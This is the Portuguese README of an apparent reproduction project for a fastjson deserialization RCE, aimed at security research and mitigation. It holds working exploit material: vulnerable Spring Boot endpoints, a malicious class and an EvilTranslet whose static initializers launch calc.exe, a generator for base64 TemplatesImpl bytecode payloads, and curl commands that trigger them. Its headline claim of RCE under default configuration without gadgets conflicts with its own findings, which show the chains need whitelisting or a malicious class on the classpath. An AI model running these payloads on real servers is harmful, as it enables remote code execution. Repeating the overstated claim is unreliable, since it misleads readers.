
Projeto de reprodução para CVE-2026-16723, uma RCE crítica no fastjson 1.2.68-1.2.83. Demonstra bypass de AutoType, injeção JNDI e payloads em memória TemplatesImpl com endpoints vulneráveis do Spring Boot.
Este projeto reproduz o CVE-2026-16723 — uma vulnerabilidade crítica de Execução Remota de Código (RCE) no fastjson 1.2.68 até 1.2.83. A vulnerabilidade permite RCE sob configuração padrão sem exigir a ativação do AutoType ou gadgets pré-existentes no classpath.
| Propriedade | Valor |
|---|
| ID do CVE | CVE-2026-16723 |
| Componente | fastjson |
| Versões Afetadas | 1.2.68 – 1.2.83 |
| Versões Corrigidas | 1.2.84+, 2.0.0+ |
| Tipo de Vulnerabilidade | Desserialização / RCE |
| Severidade | CVSS 3.1: 9.0 (CRÍTICA) |
| Vetor de Ataque | Rede |
| Complexidade | Baixa |
| Privilégios Necessários | Nenhum |
| Interação do Usuário | Nenhuma |
fastjson-cve-2026-16723/
├── pom.xml # Projeto principal (aplicação Spring Boot com fastjson vulnerável)
├── src/main/java/com/example/cve/
│ ├── FastjsonCveApplication.java # Ponto de entrada do Spring Boot
│ └── controller/
│ └── VulnerableController.java # Endpoints REST vulneráveis
├── malicious/ # Módulo separado: JAR malicioso para simulação de supply chain
│ ├── pom.xml
│ └── src/main/java/exploit/
│ ├── MaliciousClass.java # Classe maliciosa com inicializador estático
│ ├── EvilTranslet.java # Translet malicioso para modo em memória do TemplatesImpl
│ └── GenTemplatesPayload.java # Gera o payload JSON do TemplatesImpl
├── templates-payload.json # Payload TemplatesImpl gerado (variante direta)
├── templates-payload-preload.json # Payload TemplatesImpl gerado (variante de pré-carga de Classe)
├── target/
│ └── fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar
└── malicious/target/
└── malicious-jar-1.0.jar
O fastjson 1.2.68–1.2.83 contém uma bypass no mecanismo de proteção AutoType. Mesmo com configuração padrão (autoTypeSupport=false), atacantes podem instanciar classes arbitrárias via payloads JSON elaborados usando cadeias de exploração como:
java.lang.Class + com.sun.rowset.JdbcRowSetImpl (injeção JNDI)java.lang.Runtime (execução direta de comandos)@type: exploit.MaliciousClass)VulnerableController.java — dois endpoints demonstram o problema:
@PostMapping("/parse")
public String parseJson(@RequestBody String json) {
// Vulnerável: JSON.parseObject com configuração padrão
// Nenhum ParserConfig.getGlobalInstance().setAutoTypeSupport(true) necessário!
JSONObject obj = JSON.parseObject(json);
return "Parsed: " + obj.toJSONString();
}
@PostMapping("/deserialize")
public String deserializeJson(@RequestBody String json) {
// Força a desserialização para Object — dispara a instanciação real da classe
Object obj = JSON.parse(json);
return "Deserialized: " + obj.getClass().getName();
}
# Compilar a aplicação principal
mvn clean package -DskipTests
# Compilar o JAR malicioso (módulo separado)
cd malicious && mvn clean package && cd ..
target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar — JAR fat do Spring Bootmalicious/target/malicious-jar-1.0.jar — JAR malicioso com exploit.MaliciousClassjava -jar target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar
O servidor inicia em http://localhost:8080
Requisito de runtime: este projeto tem como alvo o Java 8 e o modo em memória do TemplatesImpl é verificado no JDK 8. No JDK 9+ o sistema de módulos bloqueia o acesso reflexivo aos internals de
java.xml, então a cadeia falha comError: create instance error, class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpla menos que você adicione as flags--add-opens:java --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \ --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc=ALL-UNNAMED \ -jar target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar
O pom.xml principal declara o JAR malicioso como dependência, então ele é empacotado no JAR fat:
<dependency>
<groupId>exploit</groupId>
<artifactId>malicious-jar</artifactId>
<version>1</version>
</dependency>
Verifique em runtime:
curl http://localhost:8080/api/debug
curl http://localhost:8080/api/test
Esperado: CVE-2026-16723 Reproduction Endpoint Ready...
O módulo malicious fornece exploit.MaliciousClass com um inicializador estático que executa calc.exe no carregamento da classe.
curl -X POST http://localhost:8080/api/deserialize \
-H "Content-Type: application/json" \
-d '{"@type":"exploit.MaliciousClass"}'
Resultado:
>>> MALICIOUS STATIC INITIALIZER EXECUTED <<<
>>> MaliciousClass constructor called <<<
E o calc.exe é iniciado no servidor.
Nota: Isso demonstra um cenário de supply chain onde uma dependência maliciosa está presente no classpath. A vulnerabilidade permite a instanciação de qualquer classe no classpath, não apenas classes do JDK.
Diferente do modo de supply chain (que precisa da classe maliciosa no classpath) e do modo JNDI (que precisa de um servidor LDAP/RMI), este modo incorpora o bytecode malicioso diretamente no payload e o carrega da memória via com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl — nada extra precisa ser implantado.
Passo 1 — gerar o payload:
cd malicious && mvn -DskipTests clean install && cd ..
java -cp malicious/target/malicious-jar-1.0.jar exploit.GenTemplatesPayload
Isso compila exploit.EvilTranslet (uma subclasse de AbstractTranslet cujo inicializador estático executa calc.exe), codifica em base64 os bytes do .class e grava:
templates-payload.json — variante direta ("@type": "TemplatesImpl")templates-payload-preload.json — variante de pré-carga de java.lang.ClassPasso 2 — disparar o payload:
curl -X POST http://localhost:8080/api/deserialize-autotype \
-H "Content-Type: application/json" \
--data-binary @templates-payload.json
Resultado:
>>> EVIL TRANSLET STATIC INITIALIZER EXECUTED <<<
>>> EvilTranslet constructor called <<<
E o calc.exe é iniciado no servidor.
⚠️ Descobertas empíricas (verificadas contra fastjson 1.2.83): a cadeia TemplatesImpl não é acionável sob configuração puramente padrão:
- O payload direto
@typeé rejeitado pela denyList do AutoType (autoType is not support).- A cadeia de pré-carga de
java.lang.Classfalha por dois motivos: o própriojava.lang.Classestá na denyList (autoType is not support. java.lang.Class), e mesmo pré-carregandoTemplatesImplnos mapeamentos internos de classes não contorna a denyList — a bypass de mapeamento da era 1.2.47 foi corrigida no 1.2.83.autoTypeSupport(true)sozinho também não é suficiente: a denyList tem prioridade sobre a flag do autoType.- A cadeia só dispara quando a classe é incluída na whitelist via
ParserConfig.addAccept(...)(a acceptList tem prioridade sobre a denyList) eFeature.SupportNonPublicFieldestá habilitado (_bytecodes/_name/_tfactorydo TemplatesImpl são campos privados).- O endpoint
/api/deserialize-autotypeimplementa exatamente essa combinação.- Runtime: a cadeia é verificada no JDK 8. No JDK 9+ o sistema de módulos bloqueia o acesso reflexivo aos internals de
java.xml, então a criação da instância falha comError: create instance error, class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpla menos que as flags da JVM em Executando a Aplicação sejam usadas.
| Endpoint | Comportamento |
|---|---|
POST /api/parse | Analisa para JSONObject — pode não disparar a desserialização completa para todos os payloads |
POST /api/deserialize | Analisa para Object — força a desserialização completa e a instanciação da classe (configuração padrão) |
POST /api/deserialize-nonpublic | JSON.parse + Feature.SupportNonPublicField — grava campos privados, mas a denyList ainda bloqueia o TemplatesImpl |
POST /api/deserialize-autotype | AutoType + addAccept + SupportNonPublicField — dispara a cadeia em memória do TemplatesImpl |
Para a exploração da classe maliciosa, /api/deserialize é necessário para acionar o inicializador estático.
Atualize o fastjson para uma versão corrigida:
<!-- Opção 1: fastjson 1.x (recomendado para usuários da 1.x) -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.84</version>
</dependency>
<!-- Opção 2: fastjson 2.x (recomendado para novos projetos) -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson2</artifactId>
<version>2.0.0</version>
</dependency>
// Desabilitar AutoType globalmente (mitigação parcial — cadeias de exploração podem ainda contornar)
ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
// Ou usar safeMode (fastjson 1.2.68+)
ParserConfig.getGlobalInstance().setSafeMode(true);
Este projeto é apenas para fins educacionais e de pesquisa em segurança defensiva.
- Não use contra sistemas que você não possui ou para os quais não tem permissão escrita explícita para testar.
- O autor não é responsável por qualquer uso indevido, dano ou consequência legal decorrente do uso deste código.
- Sempre siga práticas de divulgação responsável ao descobrir vulnerabilidades.
- Esta reprodução usa um payload benigno (
calc.exe) para demonstração; explorações reais podem causar danos graves.
Este projeto é fornecido como está para pesquisa em segurança. Nenhuma garantia expressa ou implícita.